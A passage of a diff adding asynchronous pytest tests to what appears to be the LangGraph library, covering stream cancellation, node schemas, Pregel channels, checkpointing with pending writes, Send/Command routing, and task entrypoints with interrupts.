builder.set_conditional_entry_point(lambda _: ["awhile", "alittlewhile"]) + graph = builder.compile() + graph.step_timeout = 1 + + with pytest.raises(asyncio.TimeoutError): + async for chunk in graph.astream({"hello": "world"}, stream_mode="updates"): + assert chunk == {"alittlewhile": {"hello": "1"}} + await asyncio.sleep(stream_hang_s) + + assert inner_task_cancelled + + +async def test_cancel_graph_astream(async_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + value: Annotated[int, operator.add] + + class AwhileMaker: + def __init__(self) -> None: + self.reset() + + async def __call__(self, input: State) -> Any: + self.started = True + try: + await asyncio.sleep(1.5) + except asyncio.CancelledError: + self.cancelled = True + raise + + def reset(self): + self.started = False + self.cancelled = False + + async def alittlewhile(input: State) -> None: + await asyncio.sleep(0.6) + return {"value": 2} + + awhile = AwhileMaker() + aparallelwhile = AwhileMaker() + builder = StateGraph(State) + builder.add_node("awhile", awhile) + builder.add_node("aparallelwhile", aparallelwhile) + builder.add_node(alittlewhile) + builder.add_edge(START, "alittlewhile") + builder.add_edge(START, "aparallelwhile") + builder.add_edge("alittlewhile", "awhile") + + graph = builder.compile(checkpointer=async_checkpointer) + + # test interrupting astream + got_event = False + thread1: RunnableConfig = {"configurable": {"thread_id": "1"}} + async with aclosing(graph.astream({"value": 1}, thread1)) as stream: + async for chunk in stream: + assert chunk == {"alittlewhile": {"value": 2}} + got_event = True + break + + assert got_event + + # node aparallelwhile should start, but be cancelled + assert aparallelwhile.started is True + assert aparallelwhile.cancelled is True + + # node "awhile" should never start + assert awhile.started is False + + # checkpoint with output of "alittlewhile" should not be saved + # but we should have applied pending writes + state = await graph.aget_state(thread1) + assert state is not None + assert state.values == {"value": 3} # 1 + 2 + assert state.next == ("aparallelwhile",) + assert state.metadata == { + "parents": {}, + "source": "loop", + "step": 0, + } + + +async def test_cancel_graph_astream_events_v2( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + value: int + + class AwhileMaker: + def __init__(self) -> None: + self.reset() + + async def __call__(self, input: State) -> Any: + self.started = True + try: + await asyncio.sleep(1.5) + except asyncio.CancelledError: + self.cancelled = True + raise + + def reset(self): + self.started = False + self.cancelled = False + + async def alittlewhile(input: State) -> None: + await asyncio.sleep(0.6) + return {"value": 2} + + awhile = AwhileMaker() + anotherwhile = AwhileMaker() + builder = StateGraph(State) + builder.add_node(alittlewhile) + builder.add_node("awhile", awhile) + builder.add_node("anotherwhile", anotherwhile) + builder.add_edge(START, "alittlewhile") + builder.add_edge("alittlewhile", "awhile") + builder.add_edge("awhile", "anotherwhile") + + graph = builder.compile(checkpointer=async_checkpointer) + + # test interrupting astream_events v2 + got_event = False + thread2: RunnableConfig = {"configurable": {"thread_id": "2"}} + async with aclosing( + graph.astream_events({"value": 1}, thread2, version="v2") + ) as stream: + async for chunk in stream: + if chunk["event"] == "on_chain_stream" and not chunk["parent_ids"]: + got_event = True + assert chunk["data"]["chunk"] == {"alittlewhile": {"value": 2}} + await asyncio.sleep(0.1) + break + + # did break + assert got_event + + # node "awhile" maybe starts (impl detail of astream_events) + # if it does start, it must be cancelled + if awhile.started: + assert awhile.cancelled is True + + # node "anotherwhile" should never start + assert anotherwhile.started is False + + # checkpoint with output of "alittlewhile" should not be saved + state = await graph.aget_state(thread2) + assert state is not None + assert state.values == {"value": 2} + assert state.next == ("awhile",) + assert state.metadata == { + "parents": {}, + "source": "loop", + "step": 1, + } + + +async def test_node_schemas_custom_output() -> None: + class State(TypedDict): + hello: str + bye: str + messages: Annotated[list[str], add_messages] + + class Output(TypedDict): + messages: list[str] + + class StateForA(TypedDict): + hello: str + messages: Annotated[list[str], add_messages] + + async def node_a(state: StateForA): + assert state == { + "hello": "there", + "messages": [_AnyIdHumanMessage(content="hello")], + } + + class StateForB(TypedDict): + bye: str + now: int + + async def node_b(state: StateForB): + assert state == { + "bye": "world", + } + return { + "now": 123, + "hello": "again", + } + + class StateForC(TypedDict): + hello: str + now: int + + async def node_c(state: StateForC): + assert state == { + "hello": "again", + "now": 123, + } + + builder = StateGraph(State, output_schema=Output) + builder.add_node("a", node_a) + builder.add_node("b", node_b) + builder.add_node("c", node_c) + builder.add_edge(START, "a") + builder.add_edge("a", "b") + builder.add_edge("b", "c") + graph = builder.compile() + + assert await graph.ainvoke( + {"hello": "there", "bye": "world", "messages": "hello"} + ) == { + "messages": [_AnyIdHumanMessage(content="hello")], + } + + builder = StateGraph(State, output_schema=Output) + builder.add_node("a", node_a) + builder.add_node("b", node_b) + builder.add_node("c", node_c) + builder.add_edge(START, "a") + builder.add_edge("a", "b") + builder.add_edge("b", "c") + graph = builder.compile() + + assert await graph.ainvoke( + { + "hello": "there", + "bye": "world", + "messages": "hello", + "now": 345, # ignored because not in input schema + } + ) == { + "messages": [_AnyIdHumanMessage(content="hello")], + } + + assert [ + c + async for c in graph.astream( + { + "hello": "there", + "bye": "world", + "messages": "hello", + "now": 345, # ignored because not in input schema + } + ) + ] == [ + {"a": None}, + {"b": {"hello": "again", "now": 123}}, + {"c": None}, + ] + + +async def test_invoke_single_process_in_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={ + "one": chain, + }, + channels={ + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "integer", + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "integer", + } + assert await app.ainvoke(2) == 3 + assert await app.ainvoke(2, output_keys=["output"]) == {"output": 3} + + +async def test_invoke_single_process_in_write_kwargs(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = ( + NodeBuilder() + .subscribe_only("input") + .do(add_one) + .write_to("output", fixed=5, output_plus_one=lambda x: x + 1) + ) + + app = Pregel( + nodes={"one": chain}, + channels={ + "input": LastValue(int), + "output": LastValue(int), + "fixed": LastValue(int), + "output_plus_one": LastValue(int), + }, + output_channels=["output", "fixed", "output_plus_one"], + input_channels="input", + ) + + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "integer", + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "object", + "properties": { + "output": {"title": "Output", "type": "integer", "default": None}, + "fixed": {"title": "Fixed", "type": "integer", "default": None}, + "output_plus_one": { + "title": "Output Plus One", + "type": "integer", + "default": None, + }, + }, + } + assert await app.ainvoke(2) == {"output": 3, "fixed": 5, "output_plus_one": 4} + + +async def test_invoke_single_process_in_out_dict(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": chain}, + channels={"input": LastValue(int), "output": LastValue(int)}, + input_channels="input", + output_channels=["output"], + ) + + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "integer", + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "object", + "properties": { + "output": {"title": "Output", "type": "integer", "default": None} + }, + } + assert await app.ainvoke(2) == {"output": 3} + + +async def test_invoke_single_process_in_dict_out_dict(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + chain = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": chain}, + channels={"input": LastValue(int), "output": LastValue(int)}, + input_channels=["input"], + output_channels=["output"], + ) + + assert app.input_schema.model_json_schema() == { + "title": "LangGraphInput", + "type": "object", + "properties": {"input": {"title": "Input", "type": "integer", "default": None}}, + } + assert app.output_schema.model_json_schema() == { + "title": "LangGraphOutput", + "type": "object", + "properties": { + "output": {"title": "Output", "type": "integer", "default": None} + }, + } + assert await app.ainvoke({"input": 2}) == {"output": 3} + + +async def test_invoke_two_processes_in_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + two = NodeBuilder().subscribe_only("inbox").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "inbox": LastValue(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + stream_channels=["inbox", "output"], + ) + + assert await app.ainvoke(2) == 4 + + with pytest.raises(GraphRecursionError): + await app.ainvoke(2, {"recursion_limit": 1}) + + step = 0 + async for values in app.astream(2): + step += 1 + if step == 1: + assert values == { + "inbox": 3, + } + elif step == 2: + assert values == { + "inbox": 3, + "output": 4, + } + assert step == 2 + + +async def test_batch_two_processes_in_out() -> None: + async def add_one_with_delay(inp: int) -> int: + await asyncio.sleep(inp / 10) + return inp + 1 + + one = NodeBuilder().subscribe_only("input").do(add_one_with_delay).write_to("one") + two = NodeBuilder().subscribe_only("one").do(add_one_with_delay).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "one": LastValue(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + assert await app.abatch([3, 2, 1, 3, 5]) == [5, 4, 3, 5, 7] + assert await app.abatch([3, 2, 1, 3, 5], output_keys=["output"]) == [ + {"output": 5}, + {"output": 4}, + {"output": 3}, + {"output": 5}, + {"output": 7}, + ] + + +async def test_invoke_many_processes_in_out(mocker: MockerFixture) -> None: + test_size = 100 + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + nodes = {"-1": NodeBuilder().subscribe_only("input").do(add_one).write_to("-1")} + for i in range(test_size - 2): + nodes[str(i)] = ( + NodeBuilder().subscribe_only(str(i - 1)).do(add_one).write_to(str(i)) + ) + nodes["last"] = NodeBuilder().subscribe_only(str(i)).do(add_one).write_to("output") + + app = Pregel( + nodes=nodes, + channels={str(i): LastValue(int) for i in range(-1, test_size - 2)} + | {"input": LastValue(int), "output": LastValue(int)}, + input_channels="input", + output_channels="output", + ) + + # No state is left over from previous invocations + for _ in range(10): + assert await app.ainvoke(2, {"recursion_limit": test_size}) == 2 + test_size + + # Concurrent invocations do not interfere with each other + assert await asyncio.gather( + *(app.ainvoke(2, {"recursion_limit": test_size}) for _ in range(10)) + ) == [2 + test_size for _ in range(10)] + + +async def test_batch_many_processes_in_out(mocker: MockerFixture) -> None: + test_size = 100 + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + nodes = {"-1": NodeBuilder().subscribe_only("input").do(add_one).write_to("-1")} + for i in range(test_size - 2): + nodes[str(i)] = ( + NodeBuilder().subscribe_only(str(i - 1)).do(add_one).write_to(str(i)) + ) + nodes["last"] = NodeBuilder().subscribe_only(str(i)).do(add_one).write_to("output") + + app = Pregel( + nodes=nodes, + channels={str(i): LastValue(int) for i in range(-1, test_size - 2)} + | {"input": LastValue(int), "output": LastValue(int)}, + input_channels="input", + output_channels="output", + ) + + # No state is left over from previous invocations + for _ in range(3): + # Then invoke pubsub + assert await app.abatch([2, 1, 3, 4, 5], {"recursion_limit": test_size}) == [ + 2 + test_size, + 1 + test_size, + 3 + test_size, + 4 + test_size, + 5 + test_size, + ] + + # Concurrent invocations do not interfere with each other + assert await asyncio.gather( + *(app.abatch([2, 1, 3, 4, 5], {"recursion_limit": test_size}) for _ in range(3)) + ) == [ + [2 + test_size, 1 + test_size, 3 + test_size, 4 + test_size, 5 + test_size] + for _ in range(3) + ] + + +async def test_invoke_two_processes_two_in_two_out_invalid( + mocker: MockerFixture, +) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + two = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={"output": LastValue(int), "input": LastValue(int)}, + input_channels="input", + output_channels="output", + ) + + with pytest.raises(InvalidUpdateError): + # LastValue channels can only be updated once per iteration + await app.ainvoke(2) + + +async def test_invoke_two_processes_two_in_two_out_valid(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + two = NodeBuilder().subscribe_only("input").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "input": LastValue(int), + "output": Topic(int), + }, + input_channels="input", + output_channels="output", + ) + + # An Topic channel accumulates updates into a sequence + assert await app.ainvoke(2) == [3, 3] + + +async def test_invoke_checkpoint( + mocker: MockerFixture, async_checkpointer: BaseCheckpointSaver +) -> None: + add_one = mocker.Mock(side_effect=lambda x: x["total"] + x["input"]) + errored_once = False + + def raise_if_above_10(input: int) -> int: + nonlocal errored_once + if input > 4: + if errored_once: + pass + else: + errored_once = True + raise ConnectionError("I will be retried") + if input > 10: + raise ValueError("Input is too large") + return input + + one = ( + NodeBuilder() + .subscribe_to("input") + .read_from("total") + .do(add_one) + .write_to("output", "total") + .do(raise_if_above_10) + ) + + app = Pregel( + nodes={"one": one}, + channels={ + "total": BinaryOperatorAggregate(int, operator.add), + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + checkpointer=async_checkpointer, + retry_policy=RetryPolicy(), + ) + + # total starts out as 0, so output is 0+2=2 + assert await app.ainvoke(2, {"configurable": {"thread_id": "1"}}) == 2 + checkpoint = await async_checkpointer.aget({"configurable": {"thread_id": "1"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 2 + # total is now 2, so output is 2+3=5 + assert await app.ainvoke(3, {"configurable": {"thread_id": "1"}}) == 5 + assert errored_once, "errored and retried" + checkpoint = await async_checkpointer.aget({"configurable": {"thread_id": "1"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 7 + # total is now 2+5=7, so output would be 7+4=11, but raises ValueError + with pytest.raises(ValueError): + await app.ainvoke(4, {"configurable": {"thread_id": "1"}}) + # checkpoint is not updated + checkpoint = await async_checkpointer.aget({"configurable": {"thread_id": "1"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 7 + # on a new thread, total starts out as 0, so output is 0+5=5 + assert await app.ainvoke(5, {"configurable": {"thread_id": "2"}}) == 5 + checkpoint = await async_checkpointer.aget({"configurable": {"thread_id": "1"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 7 + checkpoint = await async_checkpointer.aget({"configurable": {"thread_id": "2"}}) + assert checkpoint is not None + assert checkpoint["channel_values"].get("total") == 5 + + +async def test_pending_writes_resume( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + value: Annotated[int, operator.add] + + class AwhileMaker: + def __init__(self, sleep: float, rtn: dict | Exception) -> None: + self.sleep = sleep + self.rtn = rtn + self.reset() + + async def __call__(self, input: State) -> Any: + self.calls += 1 + await asyncio.sleep(self.sleep) + if isinstance(self.rtn, Exception): + raise self.rtn + else: + return self.rtn + + def reset(self): + self.calls = 0 + + one = AwhileMaker(0.1, {"value": 2}) + two = AwhileMaker(0.2, ConnectionError("I'm not good")) + builder = StateGraph(State) + builder.add_node("one", one) + builder.add_node( + "two", + two, + retry_policy=RetryPolicy(max_attempts=2, initial_interval=0, jitter=False), + ) + builder.add_edge(START, "one") + builder.add_edge(START, "two") + graph = builder.compile(checkpointer=async_checkpointer) + + thread1: RunnableConfig = {"configurable": {"thread_id": "1"}} + with pytest.raises(ConnectionError, match="I'm not good"): + await graph.ainvoke({"value": 1}, thread1, durability=durability) + + # both nodes should have been called once + assert one.calls == 1 + assert two.calls == 2 + + # latest checkpoint should be before nodes "one", "two" + # but we should have applied pending writes from "one" + state = await graph.aget_state(thread1) + assert state is not None + assert state.values == {"value": 3} + assert state.next == ("two",) + assert state.tasks == ( + PregelTask(AnyStr(), "one", (PULL, "one"), result={"value": 2}), + PregelTask( + AnyStr(), + "two", + (PULL, "two"), + 'ConnectionError("I\'m not good")', + ), + ) + assert state.metadata == { + "parents": {}, + "source": "loop", + "step": 0, + } + # get_state with checkpoint_id should not apply any pending writes + state = await graph.aget_state(state.config) + assert state is not None + assert state.values == {"value": 1} + assert state.next == ("one", "two") + # should contain pending write of "one" + checkpoint = await async_checkpointer.aget_tuple(thread1) + assert checkpoint is not None + # should contain error from "two" + expected_writes = [ + (AnyStr(), "value", 2), + (AnyStr(), ERROR, 'ConnectionError("I\'m not good")'), + ] + assert len(checkpoint.pending_writes) == 2 + assert all(w in expected_writes for w in checkpoint.pending_writes) + # both non-error pending writes come from same task + non_error_writes = [w for w in checkpoint.pending_writes if w[1] != ERROR] + # error write is from the other task + error_write = next(w for w in checkpoint.pending_writes if w[1] == ERROR) + assert error_write[0] != non_error_writes[0][0] + + # resume execution + with pytest.raises(ConnectionError, match="I'm not good"): + await graph.ainvoke(None, thread1, durability=durability) + + # node "one" succeeded previously, so shouldn't be called again + assert one.calls == 1 + # node "two" should have been called once again + assert two.calls == 4 + + # confirm no new checkpoints saved + state_two = await graph.aget_state(thread1) + assert state_two.metadata == state.metadata + + # resume execution, without exception + two.rtn = {"value": 3} + # both the pending write and the new write were applied, 1 + 2 + 3 = 6 + assert await graph.ainvoke(None, thread1, durability=durability) == {"value": 6} + + # check all final checkpoints + checkpoints = [c async for c in async_checkpointer.alist(thread1)] + # we should have 3 + assert len(checkpoints) == (3 if durability != "exit" else 2) + # the last one not too interesting for this test + assert checkpoints[0] == CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + checkpoint={ + "v": 4, + "id": AnyStr(), + "ts": AnyStr(), + "versions_seen": { + "one": { + "branch:to:one": AnyVersion(), + }, + "two": { + "branch:to:two": AnyVersion(), + }, + "__input__": {}, + "__start__": { + "__start__": AnyVersion(), + }, + "__interrupt__": { + "value": AnyVersion(), + "__start__": AnyVersion(), + "branch:to:one": AnyVersion(), + "branch:to:two": AnyVersion(), + }, + }, + "channel_versions": { + "value": AnyVersion(), + "__start__": AnyVersion(), + "branch:to:one": AnyVersion(), + "branch:to:two": AnyVersion(), + }, + "channel_values": {"value": 6}, + "updated_channels": ["value"], + }, + metadata={ + "parents": {}, + "step": 1, + "source": "loop", + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": checkpoints[1].config["configurable"]["checkpoint_id"], + } + }, + pending_writes=[], + ) + # the previous one we assert that pending writes contains both + # - original error + # - successful writes from resuming after preventing error + assert checkpoints[1] == CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + checkpoint={ + "v": 4, + "id": AnyStr(), + "ts": AnyStr(), + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": AnyVersion(), + }, + }, + "channel_versions": { + "value": AnyVersion(), + "__start__": AnyVersion(), + "branch:to:one": AnyVersion(), + "branch:to:two": AnyVersion(), + }, + "channel_values": { + "value": 1, + "branch:to:one": None, + "branch:to:two": None, + }, + "updated_channels": ["branch:to:one", "branch:to:two", "value"], + }, + metadata={ + "parents": {}, + "step": 0, + "source": "loop", + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": checkpoints[2].config["configurable"]["checkpoint_id"], + } + } + if durability != "exit" + else None, + pending_writes=UnsortedSequence( + (AnyStr(), "value", 2), + (AnyStr(), "__error__", 'ConnectionError("I\'m not good")'), + (AnyStr(), "value", 3), + ) + if durability != "exit" + else UnsortedSequence( + (AnyStr(), "value", 2), + (AnyStr(), "__error__", 'ConnectionError("I\'m not good")'), + # the write against the previous checkpoint is not saved, as it is + # produced in a run where only the next checkpoint (the last) is saved + ), + ) + if durability == "exit": + return + assert checkpoints[2] == CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + checkpoint={ + "v": 4, + "id": AnyStr(), + "ts": AnyStr(), + "versions_seen": {"__input__": {}}, + "channel_versions": { + "__start__": AnyVersion(), + }, + "channel_values": {"__start__": {"value": 1}}, + "updated_channels": ["__start__"], + }, + metadata={ + "parents": {}, + "step": -1, + "source": "input", + }, + parent_config=None, + pending_writes=UnsortedSequence( + (AnyStr(), "value", 1), + (AnyStr(), "branch:to:one", None), + (AnyStr(), "branch:to:two", None), + ), + ) + + +async def test_run_from_checkpoint_id_retains_previous_writes( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class MyState(TypedDict): + myval: Annotated[int, operator.add] + otherval: bool + + class Anode: + def __init__(self): + self.switch = False + + async def __call__(self, state: MyState): + self.switch = not self.switch + return {"myval": 2 if self.switch else 1, "otherval": self.switch} + + builder = StateGraph(MyState) + thenode = Anode() # Fun. + builder.add_node("node_one", thenode) + builder.add_node("node_two", thenode) + builder.add_edge(START, "node_one") + + def _getedge(src: str): + swap = "node_one" if src == "node_two" else "node_two" + + def _edge(st: MyState) -> Literal["__end__", "node_one", "node_two"]: + if st["myval"] > 3: + return END + if st["otherval"]: + return swap + return src + + return _edge + + builder.add_conditional_edges("node_one", _getedge("node_one")) + builder.add_conditional_edges("node_two", _getedge("node_two")) + graph = builder.compile(checkpointer=async_checkpointer) + + thread_id = uuid.uuid4() + thread1 = {"configurable": {"thread_id": str(thread_id)}} + + result = await graph.ainvoke({"myval": 1}, thread1, durability="async") + assert result["myval"] == 4 + history = [c async for c in graph.aget_state_history(thread1)] + + assert len(history) == 4 + assert history[0].values == {"myval": 4, "otherval": False} + assert history[-1].values == {"myval": 0} + + second_run_config = { + **thread1, + "configurable": { + **thread1["configurable"], + "checkpoint_id": history[1].config["configurable"]["checkpoint_id"], + }, + } + second_result = await graph.ainvoke(None, second_run_config) + assert second_result == {"myval": 5, "otherval": True} + + new_history = [ + c + async for c in graph.aget_state_history( + {"configurable": {"thread_id": str(thread_id), "checkpoint_ns": ""}} + ) + ] + + # +2: one fork checkpoint from time travel, one from the new execution + assert len(new_history) == len(history) + 2 + # new_history[0] is the new execution result, new_history[1] is the fork + assert new_history[1].metadata["source"] == "fork" + for original, new in zip(history, new_history[2:]): + assert original.values == new.values + assert original.next == new.next + assert original.metadata["step"] == new.metadata["step"] + + def _get_tasks(hist: list, start: int): + return [h.tasks for h in hist[start:]] + + assert _get_tasks(new_history, 2) == _get_tasks(history, 0) + + +async def test_cond_edge_after_send() -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + + async def __call__(self, state): + return [self.name] + + async def send_for_fun(state): + return [Send("2", state), Send("2", state)] + + async def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_edge(START, "1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("2", route_to_three) + graph = builder.compile() + + assert await graph.ainvoke(["0"]) == ["0", "1", "2", "2", "3"] + + +async def test_concurrent_emit_sends() -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + + async def __call__(self, state): + return ( + [self.name] + if isinstance(state, list) + else ["|".join((self.name, str(state)))] + ) + + async def send_for_fun(state): + return [Send("2", 1), Send("2", 2), "3.1"] + + async def send_for_profit(state): + return [Send("2", 3), Send("2", 4)] + + async def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("1.1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_node(Node("3.1")) + builder.add_edge(START, "1") + builder.add_edge(START, "1.1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("1.1", send_for_profit) + builder.add_conditional_edges("2", route_to_three) + graph = builder.compile() + assert await graph.ainvoke(["0"]) == ( + [ + "0", + "1", + "1.1", + "3.1", + "2|1", + "2|2", + "2|3", + "2|4", + "3", + ] + ) + + +async def test_send_sequences(async_checkpointer: BaseCheckpointSaver) -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + + async def __call__(self, state): + update = ( + [self.name] + if isinstance(state, list) # or isinstance(state, Control) + else ["|".join((self.name, str(state)))] + ) + if isinstance(state, Command): + return replace(state, update=update) + else: + return update + + async def send_for_fun(state): + return [ + Send("2", Command(goto=Send("2", 3))), + Send("2", Command(goto=Send("2", 4))), + "3.1", + ] + + async def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_node(Node("3.1")) + builder.add_edge(START, "1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("2", route_to_three) + graph = builder.compile() + assert await graph.ainvoke(["0"]) == [ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='2', arg=4))", + "3", + "2|3", + "2|4", + "3", + ] + + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["3.1"]) + thread1 = {"configurable": {"thread_id": "1"}} + assert await graph.ainvoke(["0"], thread1) == [ + "0", + "1", + ] + assert await graph.ainvoke(None, thread1) == [ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='2', arg=4))", + "3", + "2|3", + "2|4", + "3", + ] + + +@NEEDS_CONTEXTVARS +async def test_imp_task( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + mapper_calls = 0 + + @task() + async def mapper(input: int) -> str: + nonlocal mapper_calls + mapper_calls += 1 + await asyncio.sleep(0.1 * input) + return str(input) * 2 + + @entrypoint(checkpointer=async_checkpointer) + async def graph(input: list[int]) -> list[str]: + futures = [mapper(i) for i in input] + mapped = await asyncio.gather(*futures) + answer = interrupt("question") + return [m + answer for m in mapped] + + tracer = FakeTracer() + thread1 = {"configurable": {"thread_id": "1"}, "callbacks": [tracer]} + result = [c async for c in graph.astream([0, 1], thread1, durability=durability)] + # mapper tasks run concurrently so output order is non-deterministic + assert sorted(result[:-1], key=lambda d: str(d)) == [ + {"mapper": "00"}, + {"mapper": "11"}, + ] + assert result[-1] == { + "__interrupt__": ( + Interrupt( + value="question", + id=AnyStr(), + ), + ) + } + assert mapper_calls == 2 + assert len(tracer.runs) == 1 + assert len(tracer.runs[0].child_runs) == 1 + entrypoint_run = tracer.runs[0].child_runs[0] + assert entrypoint_run.name == "graph" + mapper_runs = [r for r in entrypoint_run.child_runs if r.name == "mapper"] + assert len(mapper_runs) == 2 + assert any(r.inputs == {"input": 0} for r in mapper_runs) + assert any(r.inputs == {"input": 1} for r in mapper_runs) + + assert await graph.ainvoke( + Command(resume="answer"), thread1, durability=durability + ) == [ + "00answer", + "11answer", + ] + assert mapper_calls == 2 + + +@NEEDS_CONTEXTVARS +async def test_imp_nested( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + async def mynode(input: list[str]) -> list[str]: + return [it + "a" for it in input] + + builder = StateGraph(list[str]) + builder.add_node(mynode) + builder.add_edge(START, "mynode") + add_a = builder.compile() + + @task + def submapper(input: int) -> str: + return str(input) + + @task + async def mapper(input: int) -> str: + await asyncio.sleep(input / 100) + return await submapper(input) * 2 + + @entrypoint(checkpointer=async_checkpointer) + async def graph(input: list[int]) -> list[str]: + futures = [mapper(i) for i in input] + mapped = await asyncio.gather(*futures) + answer = interrupt("question") + final = [m + answer for m in mapped] + return await add_a.ainvoke(final) + + assert graph.get_input_jsonschema() == { + "type": "array", + "items": {"type": "integer"}, + "title": "LangGraphInput", + } + assert graph.get_output_jsonschema() == { + "type": "array", + "items": {"type": "string"}, + "title": "LangGraphOutput", + } + + thread1 = {"configurable": {"thread_id": "1"}} + assert [c async for c in graph.astream([0, 1], thread1, durability=durability)] == [ + {"submapper": "0"}, + {"mapper": "00"}, + {"submapper": "1"}, + {"mapper": "11"}, + { + "__interrupt__": ( + Interrupt( + value="question", + id=AnyStr(), + ), + ) + }, + ] + + assert await graph.ainvoke( + Command(resume="answer"), thread1, durability=durability + ) == [ + "00answera", + "11answera", + ] + + +@NEEDS_CONTEXTVARS +async def test_imp_task_cancel( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + mapper_calls = 0 + mapper_cancels = 0 + + @task() + async def mapper(input: int) -> str: + nonlocal mapper_calls, mapper_cancels + mapper_calls += 1 + try: + await asyncio.sleep(1) + except asyncio.CancelledError: + mapper_cancels += 1 + raise + return str(input) * 2 + + @entrypoint(checkpointer=async_checkpointer) + async def graph(input: list[int]) -> list[str]: + futures = [mapper(i) for i in input] + await asyncio.sleep(0.1) + futures.pop().cancel() # cancel one + mapped = await asyncio.gather(*futures) + answer = interrupt("question") + return [m + answer for m in mapped] + + thread1 = {"configurable": {"thread_id": "1"}} + assert [c async for c in graph.astream([0, 1], thread1, durability=durability)] == [ + {"mapper": "00"}, + { + "__interrupt__": ( + Interrupt( + value="question", + id=AnyStr(), + ), + ) + }, + ] + assert mapper_calls == 2 + assert mapper_cancels == 1 + + assert await graph.ainvoke( + Command(resume="answer"), thread1, durability=durability + ) == [ + "00answer", + ] + assert mapper_calls == 3 + assert mapper_cancels == 2 + + +@NEEDS_CONTEXTVARS +async def test_imp_sync_from_async( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + @task() + def foo(state: dict) -> dict: + return {"a": state["a"] + "foo", "b": "bar"} + + @task + def bar(a: str, b: str, c: str | None = None) -> dict: + return {"a": a + b, "c": (c or "") + "bark"} + + @task() + def baz(state: dict) -> dict: + return {"a": state["a"] + "baz", "c": "something else"} + + @entrypoint(checkpointer=async_checkpointer) + def graph(state: dict) -> dict: + foo_result = foo(state).result() + fut_bar = bar(foo_result["a"], foo_result["b"]) + fut_baz = baz(fut_bar.result()) + return fut_baz.result() + + thread1 = {"configurable": 